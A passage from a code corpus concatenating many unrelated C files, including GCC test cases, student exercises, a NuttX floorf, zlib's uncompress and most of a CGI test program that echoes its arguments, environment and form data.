You should have received a copy of the GNU Library General Public
License along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
USA. */
/* The bison generated parser uses alloca. AIX 3 forces us to put this
declaration at the beginning of the file. The declaration in bison's
skeleton file comes too late. This must come before <config.h>
because <config.h> may include arbitrary system headers. */
static void
yyerror (str)
const char *str;
{
/* Do nothing. We don't print error messages here. */
}
|
the_stack_data/192330180.c | /* { dg-do compile { target { powerpc*-*-* && lp64 } } } */
/* { dg-options "-O3 -fuse-load-updates" } */
extern void baz(char *s, char *m, char *end);
void foo(char *s, char *m, char *end)
{
while (*s == *m && s < end) {
s += 2;
}
baz(s, 0, end);
}
/* { dg-final { scan-assembler-times "addi" 1 { target powerpc*-*-* } } } */
/* { dg-final { scan-assembler-times "lbzu" 1 { target powerpc*-*-* } } } */
/* { dg-final { scan-assembler-times "stdu" 1 { target powerpc*-*-* } } } */
|
the_stack_data/32511.c | #include <stdlib.h>
int main(void){
char a1[3] = {1};
float a2[3] = {1.0, 2};
int* a3[3] = {(int*)&a1[3]};
int a4[3] = {1};
struct {int a; int* b; int c[2]; struct { int* da; } d;} a5 = {1, .c[1]=1};
if (a1[0] != 1) { return 1; }
if (a1[1] != 0) { return 2; }
if (a1[2] != (unsigned char)0) { return 3; }
if (a2[0] != 1) { return 4; }
if (a2[1] != 2.0) { return 5; }
if (a2[2] != 0) { return 6; }
if (a3[0] != (int*)(long long int)&a1[3]) { return 7; }
if (a3[1] != 0) { return 8; }
if (a3[2] != NULL) { return 9; }
if (a4[0] != 1) { return 10; }
if (a4[1] != 0) { return 11; }
if (a4[2] != (char)0) { return 12; }
if (a2[0] != (float)1) { return 13; }
if (a2[1] != (float)2) { return 14; }
if (a2[2] != 0.0) { return 15; }
if (a5.a != (float)1) { return 16; }
if (a5.a != 1) { return 17; }
if (a5.b != NULL) { return 18; }
if (a5.b != 0) { return 19; }
if (a5.c[0] != 0.0) { return 21; }
if (a5.c[0] != 0) { return 22; }
if (a5.c[1] != 1) { return 23; }
if (a5.d.da != NULL) { return 24; }
if (a5.d.da != 0) { return 25; }
return 0;
}
|
the_stack_data/54824983.c | /****************************************************************************
* libc/math/lib_floorf.c
*
* This file is a part of NuttX:
*
* Copyright (C) 2012 Gregory Nutt. All rights reserved.
* Ported by: Darcy Gong
*
* It derives from the Rhombs OS math library by Nick Johnson which has
* a compatibile, MIT-style license:
*
* Copyright (C) 2009-2011 Nick Johnson <nickbjohnson4224 at gmail.com>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <math.h>
/****************************************************************************
* Public Functions
****************************************************************************/
float floorf(float x)
{
modff(x, &x);
if (x < 0.0)
{
x -= 1.0;
}
return x;
}
|
the_stack_data/75136698.c | /* PR middle-end/57344 */
struct __attribute__((packed)) S
{
int a : 11;
#if __SIZEOF_INT__ * __CHAR_BIT__ >= 32
int b : 22;
#else
int b : 13;
#endif
char c;
int : 0;
} s[2];
int i;
__attribute__((noinline, noclone)) void
foo (int x)
{
if (x != -3161)
__builtin_abort ();
asm volatile ("" : : : "memory");
}
int
main ()
{
struct S t = { 0, -3161L };
s[1] = t;
for (; i < 1; i++)
foo (s[1].b);
return 0;
}
|
the_stack_data/613365.c | /*----------------------------------------------------------------------
mconstants.c
Created by William J. De Meo
on 9/27/97
This program's purpose is to find various machine parameters.
(All numbers have been type casted in an attempt to prevent the compiler
from forcing higher precision.)
----------------------------------------------------------------------*/
#include <stdlib.h>
main()
{
short S, bigS;
long L, bigL;
unsigned short US, bigUS;
unsigned long UL, bigUL;
float F, bigF;
double D, bigD;
float delta, eps, negeps;
double ddelta, deps, dnegeps;
/* First let's check out the size of each data type on this machine */
printf("\n short: %d bytes.",sizeof(short));
printf("\n int: %d bytes.",sizeof(int));
printf("\n long: %d bytes.",sizeof(long));
printf("\n float: %d bytes.",sizeof(float));
printf("\n double: %d bytes.",sizeof(double));
printf("\nlong double: %d bytes.",sizeof(long double));
printf("\n---------------------------------------------------------------------\n");
/* Find Largest Short */
S = (short) 1;
do{
bigS = S;
S *= (short) 2;
}while(bigS == (S / (short) 2));
/* If S*2 too big for machine, then (S*2)/2 != S
* and loop exits. S stores the spurious (oversized) value. */
/* Find Largest Long */
L = (long) 1;
do{
bigL = L;
L *= (long) 2;
}while(bigL == (L / (long) 2));
/* Find Largest Unsigned Short */
US = (unsigned short) 1;
do{
bigUS = US;
US *= (unsigned short) 2;
}while(bigUS == (US / (unsigned short) 2));
/* Find Largest Unsigned Long */
UL = (unsigned long) 1;
do{
bigUL = UL;
UL *= (unsigned long) 2;
}while(bigUL == (UL / (unsigned long) 2));
/* Find Largest Single Precision Float */
F = (float) 1;
do{
bigF = F;
F *= (float) 2;
}while(bigF == (F / (float) 2));
/* Find Largest Double Precision Float */
D = (double) 1;
do{
bigD = D;
D *= (double) 2;
}while(bigD == (D / (double) 2));
/*** MACHINE EPSILON ***/
/* Find Smallest Single Precision Float */
/* Two methods produce different results */
/* The results are related by: eps = 2 * negeps */
printf("\n\nProof that computed epsilons are not zero:");
printf("\n----------------------------------------------------------------------\n");
printf("\nSingle precision (30 decimal display):");
printf("\nFirst method: test that addition to 1 is greater than 1");
for( delta=(float)1.0 ; (float)1.0 + delta > (float) 1.0 ; ) {
eps=delta;
delta /= (float) 1.1;
}
if(!((float)1.0 + eps) > (float)1.0)
printf("\n 1 + eps = %.30f",(float)(1.0 + eps));
/* Second method: test that subtraction from 1 is less than 1 */
for(delta= (float) 1.0;(float)((float) 1.0 - delta) < (float) 1.0;){
negeps=delta;
delta /= (float) 1.1;
}
/* Find Smallest Double Precision Float (agian by two methods) */
ddelta = (double) 1.0;
while( (double)1.0 - ddelta < (double)1 ) {
dnegeps=ddelta;
ddelta /= (double) 1.1;
}
for(ddelta = (double) 1.0; (double) 1.0 + ddelta > (double) 1.0; ) {
deps=ddelta;
ddelta /= (double) 1.1;
}
printf("\n 1 + eps = %.30f",(float)(1.0 + 2*eps));
printf("\n1 - negeps = %.30f\n", (float)(1.0 - 2*negeps));
printf("\n\nDouble precision (25 decimal display):");
printf("\n 1 + eps = %.30f",(double)1.0 + 2*deps);
printf("\n1 - negeps = %.30f\n", (double)1.0 - 2*dnegeps);
printf("\n----------------------------------------------------------------------\n");
printf("\n largest short and long: %d, %d",bigS, bigL);
printf("\nlargest unsinged short and long: %u, %u",bigUS, bigUL);
printf("\n largest float and double: %g, %g",bigF, bigD);
printf("\n float mach eps, neg-eps: %.30f, %.30f",eps, negeps);
/* *(unsigned *)&eps, *(unsigned *)&negeps); */
printf("\n double mach eps, neg-eps: %g, %g",deps,dnegeps);
printf("\n-------------------------------------------------------------------\n");
printf("\nValues of Variables After Overflow");
printf("\n----------------------------------------------------------------------\n");
printf(" short and long: %d, %d",S,L);
printf("\n unsinged short and unsigned long: %u, %u",US, UL);
printf("\nsingle and double precision float: %g, %g",F, D);
printf("\n----------------------------------------------------------------------\n");
printf("\nValues of Variables After Underflow");
printf("\n----------------------------------------------------------------------\n");
printf(" single precision machine eps: %g",(float)delta);
printf("\ndouble precision machine eps: %g",ddelta);
printf("\n----------------------------------------------------------------------\n");
}
|
the_stack_data/192331208.c | /* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main ()
{
int mark1, mark2;
float avg;
printf("Enter Mark 1 :");
scanf("%d",&mark1);
printf("Enter MArk 2 :");
scanf("%d",&mark2);
avg = (mark1 + mark2) / 2;
printf("Avg : %.2f",avg);
return 0;
}
|
the_stack_data/927381.c | /* { dg-do compile} */
/* { dg-options "-msse2 -mfancy-math-387 -mfpmath=sse" } */
#include <float.h>
#if FLT_EVAL_METHOD != 0
# error FLT_EVAL_METHOD != 0
#endif
|
the_stack_data/89201394.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
int num;
FILE *fptr;
fptr = fopen("program.txt","w");
if(fptr == NULL)
{
printf("Error!");
exit(1);
}
printf("Enter num: ");
scanf("%d",&num);
fprintf(fptr,"%d",num);
fclose(fptr);
return 0;
} |
the_stack_data/33699.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_ilerp.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: pbondoer <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2016/05/11 01:06:57 by pbondoer #+# #+# */
/* Updated: 2016/12/28 01:09:34 by pbondoer ### ########.fr */
/* */
/* ************************************************************************** */
double ft_ilerp(double val, double first, double second)
{
if (val == first)
return (0.0);
if (val == second)
return (1.0);
return ((val - first) / (second - first));
}
|
the_stack_data/1213392.c | #include <stdio.h>
#include <unistd.h>
void task(const char* filename) {
FILE* file;
printf("user id = %d \n", getuid());
printf("effective user id = %d\n", geteuid());
file = fopen(filename, "r");
if (NULL != file) {
fclose(file);
} else {
perror("Can't open file");
}
}
int main(int argc, char const *argv[]){
task(argv[1]);
if (-1 == setuid(getuid())) {
perror("Can't set effective uid to real id");
return 1;
}
task(argv[1]);
}
|
the_stack_data/544386.c | //
// Copyright (c) 2017 The Khronos Group Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
#if defined( __APPLE__ )
#include <OpenCL/cl_gl.h>
#else
#include <CL/cl_gl.h>
#endif
#include <stdio.h>
int main( void )
{
printf("cl_gl.h standalone test PASSED.\n");
return 0;
}
|
the_stack_data/64199419.c | #ifdef __APPLE__
# include <OpenCL/opencl.h>
#else
# include <CL/cl.h>
#endif
int main()
{
cl_uint platformIdCount;
// We can't assert on the result because this may return an error if no ICD
// is
// found
clGetPlatformIDs(0, NULL, &platformIdCount);
return 0;
}
|
the_stack_data/104826916.c | #include<stdio.h>
int main(void)
{
FILE *arquivo;
arquivo = fopen("saida.txt", "w");
fprintf(arquivo, "Hello, world!\n");
fclose(arquivo);
return 0;
}
|
the_stack_data/126701972.c | /* Jyothiraditya Nellakra's Solutions to Project Euler Questions */
#include <inttypes.h>
#include <stdio.h>
uint64_t grid[20][20] = {
{ 8, 2, 22, 97, 38, 15, 0, 40, 0, 75, 4, 5, 7, 78, 52, 12, 50, 77, 91, 8},
{49, 49, 99, 40, 17, 81, 18, 57, 60, 87, 17, 40, 98, 43, 69, 48, 4, 56, 62, 0},
{81, 49, 31, 73, 55, 79, 14, 29, 93, 71, 40, 67, 53, 88, 30, 3, 49, 13, 36, 65},
{52, 70, 95, 23, 4, 60, 11, 42, 69, 24, 68, 56, 1, 32, 56, 71, 37, 2, 36, 91},
{22, 31, 16, 71, 51, 67, 63, 89, 41, 92, 36, 54, 22, 40, 40, 28, 66, 33, 13, 80},
{24, 47, 32, 60, 99, 3, 45, 2, 44, 75, 33, 53, 78, 36, 84, 20, 35, 17, 12, 50},
{32, 98, 81, 28, 64, 23, 67, 10, 26, 38, 40, 67, 59, 54, 70, 66, 18, 38, 64, 70},
{67, 26, 20, 68, 2, 62, 12, 20, 95, 63, 94, 39, 63, 8, 40, 91, 66, 49, 94, 21},
{24, 55, 58, 5, 66, 73, 99, 26, 97, 17, 78, 78, 96, 83, 14, 88, 34, 89, 63, 72},
{21, 36, 23, 9, 75, 0, 76, 44, 20, 45, 35, 14, 0, 61, 33, 97, 34, 31, 33, 95},
{78, 17, 53, 28, 22, 75, 31, 67, 15, 94, 3, 80, 4, 62, 16, 14, 9, 53, 56, 92},
{16, 39, 5, 42, 96, 35, 31, 47, 55, 58, 88, 24, 0, 17, 54, 24, 36, 29, 85, 57},
{86, 56, 0, 48, 35, 71, 89, 7, 5, 44, 44, 37, 44, 60, 21, 58, 51, 54, 17, 58},
{19, 80, 81, 68, 5, 94, 47, 69, 28, 73, 92, 13, 86, 52, 17, 77, 4, 89, 55, 40},
{04, 52, 8, 83, 97, 35, 99, 16, 7, 97, 57, 32, 16, 26, 26, 79, 33, 27, 98, 66},
{88, 36, 68, 87, 57, 62, 20, 72, 3, 46, 33, 67, 46, 55, 12, 32, 63, 93, 53, 69},
{04, 42, 16, 73, 38, 25, 39, 11, 24, 94, 72, 18, 8, 46, 29, 32, 40, 62, 76, 36},
{20, 69, 36, 41, 72, 30, 23, 88, 34, 62, 99, 69, 82, 67, 59, 85, 74, 4, 36, 16},
{20, 73, 35, 29, 78, 31, 90, 1, 74, 31, 49, 71, 48, 86, 81, 16, 23, 57, 5, 54},
{ 1, 70, 54, 71, 83, 51, 54, 69, 16, 92, 33, 48, 61, 43, 52, 1, 89, 19, 67, 48}
};
int main() {
uint32_t greatest = 0;
uint32_t product;
for(uint8_t i = 0; i <= 16; i++) for(uint8_t j = 0; j < 20; j++) {
product = grid[i + 0][j]
* grid[i + 1][j]
* grid[i + 2][j]
* grid[i + 3][j];
if(product > greatest) greatest = product;
}
for(uint8_t i = 0; i < 20; i++) for(uint8_t j = 0; j <= 16; j++) {
product = grid[i][j + 0]
* grid[i][j + 1]
* grid[i][j + 2]
* grid[i][j + 3];
if(product > greatest) greatest = product;
}
for(uint8_t i = 0; i <= 16; i++) for(uint8_t j = 0; j <= 16; j++) {
product = grid[i + 0][j + 0]
* grid[i + 1][j + 1]
* grid[i + 2][j + 2]
* grid[i + 3][j + 3];
if(product > greatest) greatest = product;
}
for(uint8_t i = 3; i < 20; i++) for(uint8_t j = 0; j <= 16; j++) {
product = grid[i - 0][j + 0]
* grid[i - 1][j + 1]
* grid[i - 2][j + 2]
* grid[i - 3][j + 3];
if(product > greatest) greatest = product;
}
printf("%" PRIu32 "\n", greatest);
return 0;
}
|
the_stack_data/92326206.c | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
/* structure for a node */
struct Node
{
int data;
struct Node *next;
};
/* Function to insert a node at the beginning of a linked list */
void insertAtTheBegin(struct Node **start_ref, int data);
void selectionSort(struct Node *pHead);
/* Function to print nodes in a given linked list */
void printList(struct Node *start);
int main()
{
int arr[] = {12, 56, 2, 11, 1, 90};
int list_size, i;
/* start with empty linked list */
struct Node *start = NULL;
/* Create linked list from the array arr[].
Created linked list will be 1->11->2->56->12 */
for (i = 0; i< 6; i++)
insertAtTheBegin(&start, arr[i]);
/* print list before sorting */
printf("\n Linked list before sorting ");
printList(start);
/* sort the linked list */
selectionSort(start);
/* print list after sorting */
printf("\n Linked list after sorting ");
printList(start);
getchar();
return 0;
}
/* Function to insert a node at the beginning of a linked list */
void insertAtTheBegin(struct Node **start_ref, int data)
{
struct Node *ptr1 = (struct Node*)malloc(sizeof(struct Node));
ptr1->data = data;
ptr1->next = *start_ref;
*start_ref = ptr1;
}
/* Function to print nodes in a given linked list */
void printList(struct Node *start)
{
struct Node *temp = start;
printf("\n");
while (temp!=NULL)
{
printf("%d ", temp->data);
temp = temp->next;
}
}
/* Bubble sort the given linked list */
void selectionSort(struct Node *pHead)
{
int tempIndex;
struct Node *p, *q;
int i, j;
int totalNodes = 6;
p = pHead;
for(i = 0; i <totalNodes -1; i++)
{
q = p->next;
for( j = i + 1; j < totalNodes; j++)
{
if(p->data > q->data)
{
tempIndex = p->data;
p->data = q->data;
q->data = tempIndex;
}
q = q->next;
}
p = p->next;
}
}
/* function to swap data of two nodes a and b*/
void swap(struct Node *a, struct Node *b)
{
int temp = a->data;
a->data = b->data;
b->data = temp;
} |
the_stack_data/51700558.c | /* +---------------------------------------------------------------------------+
| Mobile Robot Programming Toolkit (MRPT) |
| http://www.mrpt.org/ |
| |
| Copyright (c) 2005-2018, Individual contributors, see AUTHORS file |
| See: http://www.mrpt.org/Authors - All rights reserved. |
| Released under BSD License. See details in http://www.mrpt.org/License |
+---------------------------------------------------------------------------+ */
/* @(#) $Id: uncompr.c 26956 2004-04-25 08:48:21Z VS $ */
#define ZLIB_INTERNAL
#include "zlib.h"
/* ===========================================================================
Decompresses the source buffer into the destination buffer. sourceLen is
the byte length of the source buffer. Upon entry, destLen is the total
size of the destination buffer, which must be large enough to hold the
entire uncompressed data. (The size of the uncompressed data must have
been saved previously by the compressor and transmitted to the decompressor
by some mechanism outside the scope of this compression library.)
Upon exit, destLen is the actual size of the compressed buffer.
This function can be used to decompress a whole file at once if the
input file is mmap'ed.
uncompress returns Z_OK if success, Z_MEM_ERROR if there was not
enough memory, Z_BUF_ERROR if there was not enough room in the output
buffer, or Z_DATA_ERROR if the input data was corrupted.
*/
int ZEXPORT uncompress (dest, destLen, source, sourceLen)
Bytef *dest;
uLongf *destLen;
const Bytef *source;
uLong sourceLen;
{
z_stream stream;
int err;
stream.next_in = (Bytef*)source;
stream.avail_in = (uInt)sourceLen;
/* Check for source > 64K on 16-bit machine: */
if ((uLong)stream.avail_in != sourceLen) return Z_BUF_ERROR;
stream.next_out = dest;
stream.avail_out = (uInt)*destLen;
if ((uLong)stream.avail_out != *destLen) return Z_BUF_ERROR;
stream.zalloc = (alloc_func)0;
stream.zfree = (free_func)0;
err = inflateInit(&stream);
if (err != Z_OK) return err;
err = inflate(&stream, Z_FINISH);
if (err != Z_STREAM_END) {
inflateEnd(&stream);
if (err == Z_NEED_DICT || (err == Z_BUF_ERROR && stream.avail_in == 0))
return Z_DATA_ERROR;
return err;
}
*destLen = stream.total_out;
err = inflateEnd(&stream);
return err;
}
|
the_stack_data/232955602.c | #include <stdio.h>
#include <stdlib.h>
typedef struct node Node;
struct node {
int info;
Node *prox;
};
Node* inclui_fim(Node *lista, int x);
void imprime_lista(Node *lista);
Node* inverte_lista(Node *lst);
void libera_lista(Node *lista);
int main() {
int n, valor, i;
Node *lst = NULL;
scanf("%d", &n);
for (i = 0; i < n; i++) {
scanf("%d", &valor);
lst = inclui_fim(lst, valor);
}
lst = inverte_lista(lst);
imprime_lista(lst);
libera_lista(lst);
return 0;
}
Node* inverte_lista(Node *lst) {
Node* ant = NULL;
Node* atual = lst;
Node* prox = NULL;
while (atual != NULL) {
prox = atual->prox;
atual->prox = ant;
ant = atual;
atual = prox;
}
lst = ant;
return lst;
}
Node* inclui_fim(Node *lista, int x) {
Node *p = (Node*) malloc(sizeof(Node));
if (p != NULL) {
p->info = x;
if (lista == NULL) {
p->prox = NULL;
return p;
}
Node *q = lista;
while (q->prox != NULL)
q = q->prox;
q->prox = p;
p->prox = NULL;
}
return lista;
}
void imprime_lista(Node *lista) {
Node *p = lista;
if (lista == NULL)
printf("Lista vazia");
while (p != NULL) {
printf(" %d ", p->info);
p = p->prox;
}
printf("\n");
}
void libera_lista(Node *lista) {
while(lista != NULL) {
Node *p = lista;
lista = lista->prox;
free(p);
}
}
|
the_stack_data/103522.c | /* { dg-do compile } */
/* { dg-options "-mcmse" } */
int __attribute__ ((cmse_nonsecure_call)) (*bar) (void);
int foo (void)
{
return bar ();
}
/* { dg-final { scan-assembler "bl\t__gnu_cmse_nonsecure_call" } } */
/* { dg-final { scan-assembler-not "b\[^ y\n\]*\\s+bar" } } */
|
the_stack_data/162642264.c | /* Seleccion de funciones de alarma usando punteros a funcion */
/* GCC : gcc -o alarmas ej3_alarmas.c -g -ggdb -Wall */
#include <stdio.h>
/* Prototipos */
void alarma1( ) {
printf("Alarma1\n"); }
void alarma2( ) {
printf("Alarma2\n"); }
void alarma3( ) {
printf("Alarma3\n"); }
void alarma4( ) {
printf("Alarma4\n"); }
void alarma5( ) {
printf("Alarma5\n"); }
void alarma6( ) {
printf("Alarma6\n"); }
void alarma7( ) {
printf("Alarma7\n"); }
void alarma8( ) {
printf("Alarma8\n"); }
int main(void)
{
void (*pf[])( ) = { alarma1 , alarma2 , alarma3 , alarma4 , \
alarma5 , alarma6 , alarma7 ,alarma8 };
unsigned char dato, mascara, i;
int datoi;
while ( 1 ) {
scanf("%d",&datoi);
dato = (unsigned char) datoi;
mascara = 1 ;
for( i = 0 ; i < 8 ; i++ , mascara <<=1 )
if( dato & mascara )
(*pf[i])( ) ;
}
return 0;
}
|
the_stack_data/124264.c | #ifdef COMMENT
Proprietary Rand Corporation, 1981.
Further distribution of this software
subject to the terms of the Rand
license agreement.
#endif
/*
* This program is usually called directly by users, but it is
* also invoked by the deliver program to process an "fcc".
*/
char *fileproc = "/usr/local/file";
|
the_stack_data/73575344.c | /*
* Purpose
* =======
* Returns the time in seconds used by the process.
*
* Note: the timer function call is machine dependent. Use conditional
* compilation to choose the appropriate function.
*
*/
#ifdef SUN
/*
* It uses the system call gethrtime(3C), which is accurate to
* nanoseconds.
*/
#include <sys/time.h>
double SuperLU_timer_() {
return ( (double)gethrtime() / 1e9 );
}
#else
#ifndef NO_TIMER
#include <sys/types.h>
#include <sys/times.h>
#include <time.h>
#include <sys/time.h>
#endif
#ifndef CLK_TCK
#define CLK_TCK 60
#endif
double SuperLU_timer_()
{
#ifdef NO_TIMER
/* no sys/times.h on WIN32 */
double tmp;
tmp = 0.0;
#else
struct tms use;
double tmp;
times(&use);
tmp = use.tms_utime;
tmp += use.tms_stime;
#endif
return (double)(tmp) / CLK_TCK;
}
#endif
|
the_stack_data/62959.c | /*
cgitest.c - Test CGI program
Copyright (c) All Rights Reserved. See details at the end of the file.
Usage:
cgitest [switches]
-a Output the args (used for ISINDEX queries)
-b bytes Output content "bytes" long
-e Output the environment
-h lines Output header "lines" long
-l location Output "location" header
-n Non-parsed-header ouput
-p Ouput the post data
-q Ouput the query data
-s status Output "status" header
default Output args, env and query
Alternatively, pass the arguments as an environment variable HTTP_SWITCHES="-a -e -q"
*/
/********************************** Includes **********************************/
#define _CRT_SECURE_NO_WARNINGS 1
#ifndef _VSB_CONFIG_FILE
#define _VSB_CONFIG_FILE "vsbConfig.h"
#endif
#include <errno.h>
#include <ctype.h>
#include <limits.h>
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#if _WIN32 || WINCE
#include <fcntl.h>
#include <io.h>
#include <windows.h>
#define access _access
#define close _close
#define fileno _fileno
#define fstat _fstat
#define getpid _getpid
#define open _open
#define putenv _putenv
#define read _read
#define stat _stat
#define umask _umask
#define unlink _unlink
#define write _write
#define strdup _strdup
#define lseek _lseek
#define getcwd _getcwd
#define chdir _chdir
#define strnset _strnset
#define chmod _chmod
#define mkdir(a,b) _mkdir(a)
#define rmdir(a) _rmdir(a)
typedef int ssize_t;
#else
#include <unistd.h>
#endif
/*********************************** Locals ***********************************/
#define CMD_VXWORKS_EOF "_ _EOF_ _"
#define CMD_VXWORKS_EOF_LEN 9
#define MAX_ARGV 64
static char *argvList[MAX_ARGV];
static int getArgv(int *argc, char ***argv, int originalArgc, char **originalArgv);
static int hasError;
static int nonParsedHeader;
static int numPostKeys;
static int numQueryKeys;
static int originalArgc;
static char **originalArgv;
static int outputArgs, outputEnv, outputPost, outputQuery;
static int outputLines, outputHeaderLines, responseStatus;
static char *outputLocation;
static char *postBuf;
static size_t postBufLen;
static char **postKeys;
static char *queryBuf;
static size_t queryLen;
static char **queryKeys;
static char *responseMsg;
static int timeout;
/***************************** Forward Declarations ***************************/
static void error(char *fmt, ...);
static void descape(char *src);
static char hex2Char(char *s);
static int getVars(char ***cgiKeys, char *buf, size_t len);
static int getPostData(char **buf, size_t *len);
static int getQueryString(char **buf, size_t *len);
static void printEnv(char **env);
static void printQuery();
static void printPost(char *buf, size_t len);
static char *safeGetenv(char *key);
/******************************************************************************/
/*
Test program entry point
*/
#if VXWORKS
int cgitest(int argc, char **argv, char **envp)
#else
int main(int argc, char **argv, char **envp)
#endif
{
char *cp, *method;
int i, j, err;
err = 0;
outputArgs = outputQuery = outputEnv = outputPost = 0;
outputLines = outputHeaderLines = responseStatus = 0;
outputLocation = 0;
nonParsedHeader = 0;
responseMsg = 0;
hasError = 0;
timeout = 0;
queryBuf = 0;
queryLen = 0;
numQueryKeys = numPostKeys = 0;
originalArgc = argc;
originalArgv = argv;
#if _WIN32 && !WINCE
_setmode(0, O_BINARY);
_setmode(1, O_BINARY);
_setmode(2, O_BINARY);
#endif
if (strstr(argv[0], "nph-") != 0) {
nonParsedHeader++;
}
if (getArgv(&argc, &argv, originalArgc, originalArgv) < 0) {
error("Can't read CGI input");
}
for (i = 1; i < argc; i++) {
if (argv[i][0] != '-') {
continue;
}
for (cp = &argv[i][1]; *cp; cp++) {
switch (*cp) {
case 'a':
outputArgs++;
break;
case 'b':
if (++i >= argc) {
err = __LINE__;
} else {
outputLines = atoi(argv[i]);
}
break;
case 'e':
outputEnv++;
break;
case 'h':
if (++i >= argc) {
err = __LINE__;
} else {
outputHeaderLines = atoi(argv[i]);
nonParsedHeader++;
}
break;
case 'l':
if (++i >= argc) {
err = __LINE__;
} else {
outputLocation = argv[i];
if (responseStatus == 0) {
responseStatus = 302;
}
}
break;
case 'n':
nonParsedHeader++;
break;
case 'p':
outputPost++;
break;
case 'q':
outputQuery++;
break;
case 's':
if (++i >= argc) {
err = __LINE__;
} else {
responseStatus = atoi(argv[i]);
}
break;
case 't':
if (++i >= argc) {
err = __LINE__;
} else {
timeout = atoi(argv[i]);
}
break;
default:
err = __LINE__;
break;
}
}
}
if (err) {
fprintf(stderr, "usage: cgitest -aenp [-b bytes] [-h lines]\n"
"\t[-l location] [-s status] [-t timeout]\n"
"\tor set the HTTP_SWITCHES environment variable\n");
fprintf(stderr, "Error at cgitest:%d\n", __LINE__);
exit(255);
}
if ((method = getenv("REQUEST_METHOD")) != 0 && strcmp(method, "POST") == 0) {
if (getPostData(&postBuf, &postBufLen) < 0) {
error("Can't read CGI input");
}
if (strcmp(safeGetenv("CONTENT_TYPE"), "application/x-www-form-urlencoded") == 0) {
numPostKeys = getVars(&postKeys, postBuf, postBufLen);
}
}
if (hasError) {
if (! nonParsedHeader) {
printf("HTTP/1.0 %d %s\r\n\r\n", responseStatus, responseMsg);
printf("<HTML><BODY><p>Error: %d -- %s</p></BODY></HTML>\r\n", responseStatus, responseMsg);
}
fprintf(stderr, "cgitest: ERROR: %s\n", responseMsg);
exit(2);
}
if (nonParsedHeader) {
if (responseStatus == 0) {
printf("HTTP/1.0 200 OK\r\n");
} else {
printf("HTTP/1.0 %d %s\r\n", responseStatus, responseMsg ? responseMsg: "");
}
printf("Connection: close\r\n");
printf("X-CGI-CustomHeader: Any value at all\r\n");
}
printf("Content-type: %s\r\n", "text/html");
if (outputHeaderLines) {
for (i = 0; i < outputHeaderLines; i++) {
printf("X-CGI-%d: A loooooooooooooooooooooooong string\r\n", i);
}
}
if (outputLocation) {
printf("Location: %s\r\n", outputLocation);
}
if (responseStatus) {
printf("Status: %d\r\n", responseStatus);
}
printf("\r\n");
if ((outputLines + outputArgs + outputEnv + outputQuery + outputPost + outputLocation + responseStatus) == 0) {
outputArgs++;
outputEnv++;
outputQuery++;
outputPost++;
}
if (outputLines) {
for (j = 0; j < outputLines; j++) {
printf("%010d\n", j);
}
} else {
printf("<HTML><TITLE>cgitest: Output</TITLE><BODY>\r\n");
if (outputArgs) {
#if _WIN32
printf("<P>CommandLine: %s</P>\r\n", GetCommandLine());
#endif
printf("<H2>Args</H2>\r\n");
for (i = 0; i < argc; i++) {
printf("<P>ARG[%d]=%s</P>\r\n", i, argv[i]);
}
}
printEnv(envp);
if (outputQuery) {
printQuery();
}
if (outputPost) {
printPost(postBuf, postBufLen);
}
printf("</BODY></HTML>\r\n");
}
#if VXWORKS
/*
VxWorks pipes need an explicit eof string
Must not call exit(0) in Vxworks as that will exit the task before the CGI handler can cleanup. Must use return 0.
*/
write(1, CMD_VXWORKS_EOF, CMD_VXWORKS_EOF_LEN);
write(2, CMD_VXWORKS_EOF, CMD_VXWORKS_EOF_LEN);
#endif
fflush(stderr);
fflush(stdout);
return 0;
}
/*
If there is a HTTP_SWITCHES argument in the query string, examine that instead of the original argv
*/
static int getArgv(int *pargc, char ***pargv, int originalArgc, char **originalArgv)
{
static char sbuf[1024];
char *switches, *next;
int i;
*pargc = 0;
if (getQueryString(&queryBuf, &queryLen) < 0) {
return -1;
}
numQueryKeys = getVars(&queryKeys, queryBuf, queryLen);
switches = 0;
for (i = 0; i < numQueryKeys; i += 2) {
if (strcmp(queryKeys[i], "HTTP_SWITCHES") == 0) {
switches = queryKeys[i+1];
break;
}
}
if (switches == 0) {
switches = getenv("HTTP_SWITCHES");
}
if (switches) {
strncpy(sbuf, switches, sizeof(sbuf) - 1);
descape(sbuf);
next = strtok(sbuf, " \t\n");
i = 1;
for (i = 1; next && i < (MAX_ARGV - 1); i++) {
argvList[i] = next;
next = strtok(0, " \t\n");
}
argvList[0] = originalArgv[0];
*pargv = argvList;
*pargc = i;
} else {
*pargc = originalArgc;
*pargv = originalArgv;
}
return 0;
}
static void printEnv(char **envp)
{
printf("<H2>Environment Variables</H2>\r\n");
printf("<P>AUTH_TYPE=%s</P>\r\n", safeGetenv("AUTH_TYPE"));
